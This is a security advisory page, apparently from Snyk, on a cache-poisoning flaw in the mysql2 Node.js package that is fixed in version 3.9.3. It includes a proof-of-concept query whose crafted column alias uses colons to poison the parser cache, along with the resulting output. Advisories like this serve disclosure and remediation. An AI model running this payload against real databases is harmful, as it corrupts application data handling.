Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade mysql2
to version 3.9.3 or higher.
mysql2 is a mostly API compatible with mysqljs and supports majority of features.
Affected versions of this package are vulnerable to Use of Web Browser Cache Containing Sensitive Information through the keyFromFields
function, resulting in cache poisoning. An attacker can inject a colon (:
) character within a value of the attacker-crafted key.
connection.query(
'SELECT information_schema.tables.TABLE_NAME,`tables:160:63/DATA_LENGTH:8:undefined::tables`.TABLE_ROWS FROM information_schema.tables INNER JOIN information_schema.tables AS `tables:160:63/DATA_LENGTH:8:undefined::tables` ON `tables:160:63/DATA_LENGTH:8:undefined::tables`.TABLE_ROWS!=information_schema.tables.TABLE_ROWS LIMIT 1;',
function(err, results, fields) {
}
);
// Send another request and spwan new connection
connection1.query(
`SELECT TABLE_NAME, TABLE_ROWS, DATA_LENGTH FROM information_schema.tables LIMIT 1;`,
function(err, results, fields) {
console.log(results);
console.log(fields);
}
);
Results
[ { TABLE_NAME: 'ADMINISTRABLE_ROLE_AUTHORIZATIONS', TABLE_ROWS: 0 } ]
[
`TABLE_NAME` VARCHAR(64) NOT NULL,
`TABLE_ROWS` BIGINT(21) UNSIGNED,
`DATA_LENGTH` BIGINT(21) UNSIGNED
]